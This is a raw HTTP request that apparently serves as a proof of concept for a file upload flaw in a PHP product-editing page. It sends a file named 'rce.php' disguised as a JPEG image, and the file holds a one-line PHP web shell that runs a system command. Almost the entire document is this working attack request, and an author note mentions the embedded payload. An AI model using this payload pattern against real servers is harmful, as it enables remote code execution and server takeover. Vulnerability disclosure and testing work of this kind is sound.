POST /editproduct.php?product=15 HTTP/1.1
Host: localhost:8111
Content-Length: 2421
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8111
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzFkG7MluIbSZRB3c
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8111/product.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryzFkG7MluIbSZRB3c
Content-Disposition: form-data; name="pname"
Egg Baked In Tomatoes
------WebKitFormBoundaryzFkG7MluIbSZRB3c
Content-Disposition: form-data; name="category"
4
------WebKitFormBoundaryzFkG7MluIbSZRB3c
Content-Disposition: form-data; name="price"
310
------WebKitFormBoundaryzFkG7MluIbSZRB3c
Content-Disposition: form-data; name="photo"; filename="rce.php"
Content-Type: image/jpeg
Node: Sorry, due to some encoding reasons, I am unable to use Markdown to store image data with attack payloads here. I will take a screenshot to show
<?php system("ipconfig"); ?>
------WebKitFormBoundaryzFkG7MluIbSZRB3c--